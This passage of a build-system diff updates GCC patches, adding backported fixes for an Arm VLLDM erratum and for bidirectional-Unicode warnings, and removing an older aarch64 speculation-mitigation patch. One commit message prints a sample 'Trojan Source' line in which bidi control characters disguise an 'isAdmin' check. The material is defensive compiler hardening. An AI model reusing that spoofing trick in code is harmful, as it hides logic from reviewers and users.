-@@ -348,6 +348,7 @@ Objective-C and Objective-C++ Dialects}.
+@@ -369,6 +369,7 @@ Objective-C and Objective-C++ Dialects}.
-Wpacked -Wno-packed-bitfield-compat -Wpacked-not-aligned -Wpadded @gol
-Wparentheses -Wno-pedantic-ms-format @gol
-Wpointer-arith -Wno-pointer-compare -Wno-pointer-to-int-cast @gol
@@ -131,7 +143,7 @@ index f98161391a0..f12d8d12150 100644
-Wno-pragmas -Wno-prio-ctor-dtor -Wredundant-decls @gol
-Wrestrict -Wno-return-local-addr -Wreturn-type @gol
-Wno-scalar-storage-order -Wsequence-point @gol
-@@ -6924,6 +6925,14 @@ made up of data only and thus requires no special treatment. But, for
+@@ -7735,6 +7736,14 @@ made up of data only and thus requires no special treatment. But, for
most targets, it is made up of code and thus requires the stack to be
made executable in order for the program to work properly.
@@ -147,10 +159,10 @@ index f98161391a0..f12d8d12150 100644
@opindex Wfloat-equal
@opindex Wno-float-equal
diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 9f790db0daf..b2200c5185a 100644
+index 7837553958b..19c75b6e20d 100644
--- a/gcc/gcc.c
+++ b/gcc/gcc.c
-@@ -1041,6 +1041,8 @@ proper position among the other output files. */
+@@ -1152,6 +1152,8 @@ proper position among the other output files. */
"%{fuse-ld=*:-fuse-ld=%*} " LINK_COMPRESS_DEBUG_SPEC \
"%X %{o*} %{e*} %{N} %{n} %{r}\
%{s} %{t} %{u*} %{z} %{Z} %{!nostdlib:%{!r:%{!nostartfiles:%S}}} \
@@ -159,8 +171,22 @@ index 9f790db0daf..b2200c5185a 100644
%{static|no-pie|static-pie:} %@{L*} %(mfwrap) %(link_libgcc) " \
VTABLE_VERIFICATION_SPEC " " SANITIZER_EARLY_SPEC " %o "" \
%{fopenacc|fopenmp|%:gt(%{ftree-parallelize-loops=*:%*} 1):\
+@@ -1247,8 +1249,11 @@ static const char *cpp_unique_options =
+ static const char *cpp_options =
+ "%(cpp_unique_options) %1 %{m*} %{std*&ansi&trigraphs} %{W*&pedantic*} %{w}\
+ %{f*} %{g*:%{%:debug-level-gt(0):%{g*}\
+- %{!fno-working-directory:-fworking-directory}}} %{O*}\
+- %{undef} %{save-temps*:-fpch-preprocess}";
++ %{!fno-working-directory:-fworking-directory}}} %{O*}"
++#ifdef POISON_BY_DEFAULT
++ " -Werror=poison-system-directories"
++#endif
++ " %{undef} %{save-temps*:-fpch-preprocess}";
+
+ /* Pass -d* flags, possibly modifying -dumpdir, -dumpbase et al.
+
diff --git a/gcc/incpath.c b/gcc/incpath.c
-index 8a2bda00f80..9098ab044ab 100644
+index 446d280321d..fbfc0ce03b8 100644
--- a/gcc/incpath.c
+++ b/gcc/incpath.c
@@ -26,6 +26,7 @@
@@ -171,7 +197,7 @@ index 8a2bda00f80..9098ab044ab 100644
/* Microsoft Windows does not natively support inodes.
VMS has non-numeric inodes. */
-@@ -393,6 +394,26 @@ merge_include_chains (const char *sysroot, cpp_reader *pfile, int verbose)
+@@ -395,6 +396,26 @@ merge_include_chains (const char *sysroot, cpp_reader *pfile, int verbose)
}
fprintf (stderr, _("End of search list.\n"));
}
diff --git a/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch
new file mode 100644
index 0000000000..c7a7c76bf8
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch
@@ -0,0 +1,103 @@
+From 30461cf8dba3d3adb15a125e4da48800eb2b9b8f Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Fri, 18 Jun 2021 17:18:37 +0100
+Subject: [PATCH] arm: fix vlldm erratum for Armv8.1-m [PR102035]
+
+For Armv8.1-m we generate code that emits VLLDM directly and do not
+rely on support code in the library, so emit the mitigation directly
+as well, when required. In this case, we can use the compiler options
+to determine when to apply the fix and when it is safe to omit it.
+
+gcc:
+ PR target/102035
+ * config/arm/arm.md (attribute arch): Add fix_vlldm.
+ (arch_enabled): Use it.
+ * config/arm/vfp.md (lazy_store_multiple_insn): Add alternative to
+ use when erratum mitigation is needed.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=30461cf8dba3d3adb15a125e4da48800eb2b9b8f]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/config/arm/arm.md | 11 +++++++++--
+ gcc/config/arm/vfp.md | 10 +++++++---
+ 2 files changed, 16 insertions(+), 5 deletions(-)
+
+diff -upr a/gcc/config/arm/arm.md b/gcc/config/arm/arm.md
+--- a/gcc/config/arm/arm.md 2020-07-22 23:35:17.344384552 -0700
++++ b/gcc/config/arm/arm.md 2021-11-11 20:33:58.431543947 -0800
+@@ -132,9 +132,12 @@
+ ; TARGET_32BIT, "t1" or "t2" to specify a specific Thumb mode. "v6"
+ ; for ARM or Thumb-2 with arm_arch6, and nov6 for ARM without
+ ; arm_arch6. "v6t2" for Thumb-2 with arm_arch6 and "v8mb" for ARMv8-M
+-; Baseline. This attribute is used to compute attribute "enabled",
++; Baseline. "fix_vlldm" is for fixing the v8-m/v8.1-m VLLDM erratum.
++; This attribute is used to compute attribute "enabled",
+ ; use type "any" to enable an alternative in all cases.
+-(define_attr "arch" "any,a,t,32,t1,t2,v6,nov6,v6t2,v8mb,iwmmxt,iwmmxt2,armv6_or_vfpv3,neon,mve"
++(define_attr "arch" "any, a, t, 32, t1, t2, v6,nov6, v6t2, \
++ v8mb, fix_vlldm, iwmmxt, iwmmxt2, armv6_or_vfpv3, \
++ neon, mve"
+ (const_string "any"))
+
+ (define_attr "arch_enabled" "no,yes"
+@@ -177,6 +180,10 @@
+ (match_test "TARGET_THUMB1 && arm_arch8"))
+ (const_string "yes")
+
++ (and (eq_attr "arch" "fix_vlldm")
++ (match_test "fix_vlldm"))
++ (const_string "yes")
++
+ (and (eq_attr "arch" "iwmmxt2")
+ (match_test "TARGET_REALLY_IWMMXT2"))
+ (const_string "yes")
+diff -upr a/gcc/config/arm/vfp.md b/gcc/config/arm/vfp.md
+--- a/gcc/config/arm/vfp.md 2020-07-22 23:35:17.356384684 -0700
++++ b/gcc/config/arm/vfp.md 2021-11-11 20:33:58.431543947 -0800
+@@ -1703,12 +1703,15 @@
+ (set_attr "type" "mov_reg")]
+ )
+
++;; Both this and the next instruction are treated by GCC in the same
++;; way as a blockage pattern. That's perhaps stronger than it needs
++;; to be, but we do not want accesses to the VFP register bank to be
++;; moved across either instruction.
++
+ (define_insn "lazy_store_multiple_insn"
+- [(set (match_operand:SI 0 "s_register_operand" "+&rk")
+- (post_dec:SI (match_dup 0)))
+- (unspec_volatile [(const_int 0)
+- (mem:SI (post_dec:SI (match_dup 0)))]
+- VUNSPEC_VLSTM)]
++ [(unspec_volatile
++ [(mem:BLK (match_operand:SI 0 "s_register_operand" "rk"))]
++ VUNSPEC_VLSTM)]
+ "use_cmse && reload_completed"
+ "vlstm%?\\t%0"
+ [(set_attr "predicable" "yes")
+@@ -1716,14 +1719,16 @@
+ )
+
+ (define_insn "lazy_load_multiple_insn"
+- [(set (match_operand:SI 0 "s_register_operand" "+&rk")
+- (post_inc:SI (match_dup 0)))
+- (unspec_volatile:SI [(const_int 0)
+- (mem:SI (match_dup 0))]
+- VUNSPEC_VLLDM)]
++ [(unspec_volatile
++ [(mem:BLK (match_operand:SI 0 "s_register_operand" "rk,rk"))]
++ VUNSPEC_VLLDM)]
+ "use_cmse && reload_completed"
+- "vlldm%?\\t%0"
+- [(set_attr "predicable" "yes")
++ "@
++ vscclrm\\t{vpr}\;vlldm\\t%0
++ vlldm\\t%0"
++ [(set_attr "arch" "fix_vlldm,*")
++ (set_attr "predicable" "no")
++ (set_attr "length" "8,4")
+ (set_attr "type" "load_4")]
+ )
+
diff --git a/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch
new file mode 100644
index 0000000000..2995a6fc61
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch
@@ -0,0 +1,142 @@
+From 1a7f2c0774129750fdf73e9f1b78f0ce983c9ab3 Mon Sep 17 00:00:00 2001
+From: David Malcolm <dmalcolm@redhat.com>
+Date: Tue, 2 Nov 2021 09:54:32 -0400
+Subject: [PATCH] libcpp: escape non-ASCII source bytes in -Wbidi-chars=
+ [PR103026]
+MIME-Version: 1.0
+Content-Type: text/plain; charset=utf8
+Content-Transfer-Encoding: 8bit
+
+This flags rich_locations associated with -Wbidi-chars= so that
+non-ASCII bytes will be escaped when printing the source lines
+(using the diagnostics support I added in
+r12-4825-gbd5e882cf6e0def3dd1bc106075d59a303fe0d1e).
+
+In particular, this ensures that the printed source lines will
+be pure ASCII, and thus the visual ordering of the characters
+will be the same as the logical ordering.
+
+Before:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 6 | /*â® } â¦if (isAdmin)⩠⦠begin admins only */
+ | ^
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 9 | /* end admins only â® { â¦*/
+ | ^
+
+ Wbidi-chars-11.c:6:15: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 6 | int LRE_âª_PDF_\u202c;
+ | ^
+ Wbidi-chars-11.c:8:19: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 8 | int LRE_\u202a_PDF_â¬_;
+ | ^
+ Wbidi-chars-11.c:10:28: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 10 | const char *s1 = "LRE_âª_PDF_\u202c";
+ | ^
+ Wbidi-chars-11.c:12:33: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 12 | const char *s2 = "LRE_\u202a_PDF_â¬";
+ | ^
+
+After:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 6 | /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
+ | ^
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 9 | /* end admins only <U+202E> { <U+2066>*/
+ | ^
+
+ Wbidi-chars-11.c:6:15: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 6 | int LRE_<U+202A>_PDF_\u202c;
+ | ^
+ Wbidi-chars-11.c:8:19: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 8 | int LRE_\u202a_PDF_<U+202C>_;
+ | ^
+ Wbidi-chars-11.c:10:28: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 10 | const char *s1 = "LRE_<U+202A>_PDF_\u202c";
+ | ^
+ Wbidi-chars-11.c:12:33: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 12 | const char *s2 = "LRE_\u202a_PDF_<U+202C>";
+ | ^
+
+libcpp/ChangeLog:
+ PR preprocessor/103026
+ * lex.c (maybe_warn_bidi_on_close): Use a rich_location
+ and call set_escape_on_output (true) on it.
+ (maybe_warn_bidi_on_char): Likewise.
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=1a7f2c0774129750fdf73e9f1b78f0ce983c9ab3]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ libcpp/lex.c | 29 +++++++++++++++++------------
+ 1 file changed, 17 insertions(+), 12 deletions(-)
+
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+index 8188e33b07d..2421d6c0f40 100644
+--- a/libcpp/lex.c
++++ b/libcpp/lex.c
+@@ -1427,9 +1427,11 @@ maybe_warn_bidi_on_close (cpp_reader *pfile, const uchar *p)
+ const location_t loc
+ = linemap_position_for_column (pfile->line_table,
+ CPP_BUF_COLUMN (pfile->buffer, p));
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "unpaired UTF-8 bidirectional control character "
+- "detected");
++ rich_location rich_loc (pfile->line_table, loc);
++ rich_loc.set_escape_on_output (true);
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "unpaired UTF-8 bidirectional control character "
++ "detected");
+ }
+ /* We're done with this context. */
+ bidi::on_close ();
+@@ -1454,6 +1456,9 @@ maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
+ const location_t loc
+ = linemap_position_for_column (pfile->line_table,
+ CPP_BUF_COLUMN (pfile->buffer, p));
++ rich_location rich_loc (pfile->line_table, loc);
++ rich_loc.set_escape_on_output (true);
++
+ /* It seems excessive to warn about a PDI/PDF that is closing
+ an opened context because we've already warned about the
+ opening character. Except warn when we have a UCN x UTF-8
+@@ -1462,20 +1467,20 @@ maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
+ {
+ if (warn_bidi == bidirectional_unpaired
+ && bidi::current_ctx_ucn_p () != ucn_p)
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "UTF-8 vs UCN mismatch when closing "
+- "a context by \"%s\"", bidi::to_str (kind));
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "UTF-8 vs UCN mismatch when closing "
++ "a context by \"%s\"", bidi::to_str (kind));
+ }
+ else if (warn_bidi == bidirectional_any)
+ {
+ if (kind == bidi::kind::PDF || kind == bidi::kind::PDI)
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "\"%s\" is closing an unopened context",
+- bidi::to_str (kind));
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "\"%s\" is closing an unopened context",
++ bidi::to_str (kind));
+ else
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "found problematic Unicode character \"%s\"",
+- bidi::to_str (kind));
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "found problematic Unicode character \"%s\"",
++ bidi::to_str (kind));
+ }
+ }
+ /* We're done with this context. */
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/gcc/gcc/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch b/meta/recipes-devtools/gcc/gcc/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch
deleted file mode 100644
index 716a367172..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch
+++ /dev/null
@@ -1,658 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From a5e7efc40ed841934c1d913f39476afa17d8e5f7 Mon Sep 17 00:00:00 2001
-From: Matthew Malcomson <matthew.malcomson@arm.com>
-Date: Thu, 9 Jul 2020 09:11:59 +0100
-Subject: [PATCH 3/3] aarch64: Mitigate SLS for BLR instruction
-
-This patch introduces the mitigation for Straight Line Speculation past
-the BLR instruction.
-
-This mitigation replaces BLR instructions with a BL to a stub which uses
-a BR to jump to the original value. These function stubs are then
-appended with a speculation barrier to ensure no straight line
-speculation happens after these jumps.
-
-When optimising for speed we use a set of stubs for each function since
-this should help the branch predictor make more accurate predictions
-about where a stub should branch.
-
-When optimising for size we use one set of stubs for all functions.
-This set of stubs can have human readable names, and we are using
-`__call_indirect_x<N>` for register x<N>.
-
-When BTI branch protection is enabled the BLR instruction can jump to a
-`BTI c` instruction using any register, while the BR instruction can
-only jump to a `BTI c` instruction using the x16 or x17 registers.
-Hence, in order to ensure this transformation is safe we mov the value
-of the original register into x16 and use x16 for the BR.
-
-As an example when optimising for size:
-a
- BLR x0
-instruction would get transformed to something like
- BL __call_indirect_x0
-where __call_indirect_x0 labels a thunk that contains
-__call_indirect_x0:
- MOV X16, X0
- BR X16
- <speculation barrier>
-
-The first version of this patch used local symbols specific to a
-compilation unit to try and avoid relocations.
-This was mistaken since functions coming from the same compilation unit
-can still be in different sections, and the assembler will insert
-relocations at jumps between sections.
-
-On any relocation the linker is permitted to emit a veneer to handle
-jumps between symbols that are very far apart. The registers x16 and
-x17 may be clobbered by these veneers.
-Hence the function stubs cannot rely on the values of x16 and x17 being
-the same as just before the function stub is called.
-
-Similar can be said for the hot/cold partitioning of single functions,
-so function-local stubs have the same restriction.
-
-This updated version of the patch never emits function stubs for x16 and
-x17, and instead forces other registers to be used.
-
-Given the above, there is now no benefit to local symbols (since they
-are not enough to avoid dealing with linker intricacies). This patch
-now uses global symbols with hidden visibility each stored in their own
-COMDAT section. This means stubs can be shared between compilation
-units while still avoiding the PLT indirection.
-
-This patch also removes the `__call_indirect_x30` stub (and
-function-local equivalent) which would simply jump back to the original
-location.
-
-The function-local stubs are emitted to the assembly output file in one
-chunk, which means we need not add the speculation barrier directly
-after each one.
-This is because we know for certain that the instructions directly after
-the BR in all but the last function stub will be from another one of
-these stubs and hence will not contain a speculation gadget.
-Instead we add a speculation barrier at the end of the sequence of
-stubs.
-
-The global stubs are emitted in COMDAT/.linkonce sections by
-themselves so that the linker can remove duplicates from multiple object
-files. This means they are not emitted in one chunk, and each one must
-include the speculation barrier.
-
-Another difference is that since the global stubs are shared across
-compilation units we do not know that all functions will be targeting an
-architecture supporting the SB instruction.
-Rather than provide multiple stubs for each architecture, we provide a
-stub that will work for all architectures -- using the DSB+ISB barrier.
-
-This mitigation does not apply for BLR instructions in the following
-places:
-- Some accesses to thread-local variables use a code sequence with a BLR
- instruction. This code sequence is part of the binary interface between
- compiler and linker. If this BLR instruction needs to be mitigated, it'd
- probably be best to do so in the linker. It seems that the code sequence
- for thread-local variable access is unlikely to lead to a Spectre Revalation
- Gadget.
-- PLT stubs are produced by the linker and each contain a BLR instruction.
- It seems that at most only after the last PLT stub a Spectre Revalation
- Gadget might appear.
-
-Testing:
- Bootstrap and regtest on AArch64
- (with BOOT_CFLAGS="-mharden-sls=retbr,blr")
- Used a temporary hack(1) in gcc-dg.exp to use these options on every
- test in the testsuite, a slight modification to emit the speculation
- barrier after every function stub, and a script to check that the
- output never emitted a BLR, or unmitigated BR or RET instruction.
- Similar on an aarch64-none-elf cross-compiler.
-
-1) Temporary hack emitted a speculation barrier at the end of every stub
-function, and used a script to ensure that:
- a) Every RET or BR is immediately followed by a speculation barrier.
- b) No BLR instruction is emitted by compiler.
-
-gcc/ChangeLog:
-
- * config/aarch64/aarch64-protos.h (aarch64_indirect_call_asm):
- New declaration.
- * config/aarch64/aarch64.c (aarch64_regno_regclass): Handle new
- stub registers class.
- (aarch64_class_max_nregs): Likewise.
- (aarch64_register_move_cost): Likewise.
- (aarch64_sls_shared_thunks): Global array to store stub labels.
- (aarch64_sls_emit_function_stub): New.
- (aarch64_create_blr_label): New.
- (aarch64_sls_emit_blr_function_thunks): New.
- (aarch64_sls_emit_shared_blr_thunks): New.
- (aarch64_asm_file_end): New.
- (aarch64_indirect_call_asm): New.
- (TARGET_ASM_FILE_END): Use aarch64_asm_file_end.
- (TARGET_ASM_FUNCTION_EPILOGUE): Use
- aarch64_sls_emit_blr_function_thunks.
- * config/aarch64/aarch64.h (STB_REGNUM_P): New.
- (enum reg_class): Add STUB_REGS class.
- (machine_function): Introduce `call_via` array for
- function-local stub labels.
- * config/aarch64/aarch64.md (*call_insn, *call_value_insn): Use
- aarch64_indirect_call_asm to emit code when hardening BLR
- instructions.
- * config/aarch64/constraints.md (Ucr): New constraint
- representing registers for indirect calls. Is GENERAL_REGS
- usually, and STUB_REGS when hardening BLR instruction against
- SLS.
- * config/aarch64/predicates.md (aarch64_general_reg): STUB_REGS class
- is also a general register.
-
-gcc/testsuite/ChangeLog:
-
- * gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c: New test.
- * gcc.target/aarch64/sls-mitigation/sls-miti-blr.c: New test.
----
- gcc/config/aarch64/aarch64-protos.h | 1 +
- gcc/config/aarch64/aarch64.c | 225 ++++++++++++++++++++-
- gcc/config/aarch64/aarch64.h | 15 ++
- gcc/config/aarch64/aarch64.md | 11 +-
- gcc/config/aarch64/constraints.md | 9 +
- gcc/config/aarch64/predicates.md | 3 +-
- .../aarch64/sls-mitigation/sls-miti-blr-bti.c | 40 ++++
- .../aarch64/sls-mitigation/sls-miti-blr.c | 33 +++
- 8 files changed, 328 insertions(+), 9 deletions(-)
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c
-
-diff --git a/gcc/config/aarch64/aarch64-protos.h b/gcc/config/aarch64/aarch64-protos.h
-index ee0ffde..839f801 100644
---- a/gcc/config/aarch64/aarch64-protos.h
-+++ b/gcc/config/aarch64/aarch64-protos.h
-@@ -782,6 +782,7 @@ extern const atomic_ool_names aarch64_ool_ldeor_names;
- tree aarch64_resolve_overloaded_builtin_general (location_t, tree, void *);
-
- const char *aarch64_sls_barrier (int);
-+const char *aarch64_indirect_call_asm (rtx);
- extern bool aarch64_harden_sls_retbr_p (void);
- extern bool aarch64_harden_sls_blr_p (void);
-
-diff --git a/gcc/config/aarch64/aarch64.c b/gcc/config/aarch64/aarch64.c
-index 2389d49..0f7bba3 100644
---- a/gcc/config/aarch64/aarch64.c
-+++ b/gcc/config/aarch64/aarch64.c
-@@ -10605,6 +10605,9 @@ aarch64_label_mentioned_p (rtx x)
- enum reg_class
- aarch64_regno_regclass (unsigned regno)
- {
-+ if (STUB_REGNUM_P (regno))
-+ return STUB_REGS;
-+
- if (GP_REGNUM_P (regno))
- return GENERAL_REGS;
-
-@@ -10939,6 +10942,7 @@ aarch64_class_max_nregs (reg_class_t regclass, machine_mode mode)
- unsigned int nregs, vec_flags;
- switch (regclass)
- {
-+ case STUB_REGS:
- case TAILCALL_ADDR_REGS:
- case POINTER_REGS:
- case GENERAL_REGS:
-@@ -13155,10 +13159,12 @@ aarch64_register_move_cost (machine_mode mode,
- = aarch64_tune_params.regmove_cost;
-
- /* Caller save and pointer regs are equivalent to GENERAL_REGS. */
-- if (to == TAILCALL_ADDR_REGS || to == POINTER_REGS)
-+ if (to == TAILCALL_ADDR_REGS || to == POINTER_REGS
-+ || to == STUB_REGS)
- to = GENERAL_REGS;
-
-- if (from == TAILCALL_ADDR_REGS || from == POINTER_REGS)
-+ if (from == TAILCALL_ADDR_REGS || from == POINTER_REGS
-+ || from == STUB_REGS)
- from = GENERAL_REGS;
-
- /* Make RDFFR very expensive. In particular, if we know that the FFR
-@@ -22957,6 +22963,215 @@ aarch64_sls_barrier (int mitigation_required)
- : "";
- }
-
-+static GTY (()) tree aarch64_sls_shared_thunks[30];
-+static GTY (()) bool aarch64_sls_shared_thunks_needed = false;
-+const char *indirect_symbol_names[30] = {
-+ "__call_indirect_x0",
-+ "__call_indirect_x1",
-+ "__call_indirect_x2",
-+ "__call_indirect_x3",
-+ "__call_indirect_x4",
-+ "__call_indirect_x5",
-+ "__call_indirect_x6",
-+ "__call_indirect_x7",
-+ "__call_indirect_x8",
-+ "__call_indirect_x9",
-+ "__call_indirect_x10",
-+ "__call_indirect_x11",
-+ "__call_indirect_x12",
-+ "__call_indirect_x13",
-+ "__call_indirect_x14",
-+ "__call_indirect_x15",
-+ "", /* "__call_indirect_x16", */
-+ "", /* "__call_indirect_x17", */
-+ "__call_indirect_x18",
-+ "__call_indirect_x19",
-+ "__call_indirect_x20",
-+ "__call_indirect_x21",
-+ "__call_indirect_x22",
-+ "__call_indirect_x23",
-+ "__call_indirect_x24",
-+ "__call_indirect_x25",
-+ "__call_indirect_x26",
-+ "__call_indirect_x27",
-+ "__call_indirect_x28",
-+ "__call_indirect_x29",
-+};
-+
-+/* Function to create a BLR thunk. This thunk is used to mitigate straight
-+ line speculation. Instead of a simple BLR that can be speculated past,
-+ we emit a BL to this thunk, and this thunk contains a BR to the relevant
-+ register. These thunks have the relevant speculation barries put after
-+ their indirect branch so that speculation is blocked.
-+
-+ We use such a thunk so the speculation barriers are kept off the
-+ architecturally executed path in order to reduce the performance overhead.
-+
-+ When optimizing for size we use stubs shared by the linked object.
-+ When optimizing for performance we emit stubs for each function in the hope
-+ that the branch predictor can better train on jumps specific for a given
-+ function. */
-+rtx
-+aarch64_sls_create_blr_label (int regnum)
-+{
-+ gcc_assert (STUB_REGNUM_P (regnum));
-+ if (optimize_function_for_size_p (cfun))
-+ {
-+ /* For the thunks shared between different functions in this compilation
-+ unit we use a named symbol -- this is just for users to more easily
-+ understand the generated assembly. */
-+ aarch64_sls_shared_thunks_needed = true;
-+ const char *thunk_name = indirect_symbol_names[regnum];
-+ if (aarch64_sls_shared_thunks[regnum] == NULL)
-+ {
-+ /* Build a decl representing this function stub and record it for
-+ later. We build a decl here so we can use the GCC machinery for
-+ handling sections automatically (through `get_named_section` and
-+ `make_decl_one_only`). That saves us a lot of trouble handling
-+ the specifics of different output file formats. */
-+ tree decl = build_decl (BUILTINS_LOCATION, FUNCTION_DECL,
-+ get_identifier (thunk_name),
-+ build_function_type_list (void_type_node,
-+ NULL_TREE));
-+ DECL_RESULT (decl) = build_decl (BUILTINS_LOCATION, RESULT_DECL,
-+ NULL_TREE, void_type_node);
-+ TREE_PUBLIC (decl) = 1;
-+ TREE_STATIC (decl) = 1;
-+ DECL_IGNORED_P (decl) = 1;
-+ DECL_ARTIFICIAL (decl) = 1;
-+ make_decl_one_only (decl, DECL_ASSEMBLER_NAME (decl));
-+ resolve_unique_section (decl, 0, false);
-+ aarch64_sls_shared_thunks[regnum] = decl;
-+ }
-+
-+ return gen_rtx_SYMBOL_REF (Pmode, thunk_name);
-+ }
-+
-+ if (cfun->machine->call_via[regnum] == NULL)
-+ cfun->machine->call_via[regnum]
-+ = gen_rtx_LABEL_REF (Pmode, gen_label_rtx ());
-+ return cfun->machine->call_via[regnum];
-+}
-+
-+/* Helper function for aarch64_sls_emit_blr_function_thunks and
-+ aarch64_sls_emit_shared_blr_thunks below. */
-+static void
-+aarch64_sls_emit_function_stub (FILE *out_file, int regnum)
-+{
-+ /* Save in x16 and branch to that function so this transformation does
-+ not prevent jumping to `BTI c` instructions. */
-+ asm_fprintf (out_file, "\tmov\tx16, x%d\n", regnum);
-+ asm_fprintf (out_file, "\tbr\tx16\n");
-+}
-+
-+/* Emit all BLR stubs for this particular function.
-+ Here we emit all the BLR stubs needed for the current function. Since we
-+ emit these stubs in a consecutive block we know there will be no speculation
-+ gadgets between each stub, and hence we only emit a speculation barrier at
-+ the end of the stub sequences.
-+
-+ This is called in the TARGET_ASM_FUNCTION_EPILOGUE hook. */
-+void
-+aarch64_sls_emit_blr_function_thunks (FILE *out_file)
-+{
-+ if (! aarch64_harden_sls_blr_p ())
-+ return;
-+
-+ bool any_functions_emitted = false;
-+ /* We must save and restore the current function section since this assembly
-+ is emitted at the end of the function. This means it can be emitted *just
-+ after* the cold section of a function. That cold part would be emitted in
-+ a different section. That switch would trigger a `.cfi_endproc` directive
-+ to be emitted in the original section and a `.cfi_startproc` directive to
-+ be emitted in the new section. Switching to the original section without
-+ restoring would mean that the `.cfi_endproc` emitted as a function ends
-+ would happen in a different section -- leaving an unmatched
-+ `.cfi_startproc` in the cold text section and an unmatched `.cfi_endproc`
-+ in the standard text section. */
-+ section *save_text_section = in_section;
-+ switch_to_section (function_section (current_function_decl));
-+ for (int regnum = 0; regnum < 30; ++regnum)
-+ {
-+ rtx specu_label = cfun->machine->call_via[regnum];
-+ if (specu_label == NULL)
-+ continue;
-+
-+ targetm.asm_out.print_operand (out_file, specu_label, 0);
-+ asm_fprintf (out_file, ":\n");
-+ aarch64_sls_emit_function_stub (out_file, regnum);
-+ any_functions_emitted = true;
-+ }
-+ if (any_functions_emitted)
-+ /* Can use the SB if needs be here, since this stub will only be used
-+ by the current function, and hence for the current target. */
-+ asm_fprintf (out_file, "\t%s\n", aarch64_sls_barrier (true));
-+ switch_to_section (save_text_section);
-+}
-+
-+/* Emit shared BLR stubs for the current compilation unit.
-+ Over the course of compiling this unit we may have converted some BLR
-+ instructions to a BL to a shared stub function. This is where we emit those
-+ stub functions.
-+ This function is for the stubs shared between different functions in this
-+ compilation unit. We share when optimizing for size instead of speed.
-+
-+ This function is called through the TARGET_ASM_FILE_END hook. */
-+void
-+aarch64_sls_emit_shared_blr_thunks (FILE *out_file)
-+{
-+ if (! aarch64_sls_shared_thunks_needed)
-+ return;
-+
-+ for (int regnum = 0; regnum < 30; ++regnum)
-+ {
-+ tree decl = aarch64_sls_shared_thunks[regnum];
-+ if (!decl)
-+ continue;
-+
-+ const char *name = indirect_symbol_names[regnum];
-+ switch_to_section (get_named_section (decl, NULL, 0));
-+ ASM_OUTPUT_ALIGN (out_file, 2);
-+ targetm.asm_out.globalize_label (out_file, name);
-+ /* Only emits if the compiler is configured for an assembler that can
-+ handle visibility directives. */
-+ targetm.asm_out.assemble_visibility (decl, VISIBILITY_HIDDEN);
-+ ASM_OUTPUT_TYPE_DIRECTIVE (out_file, name, "function");
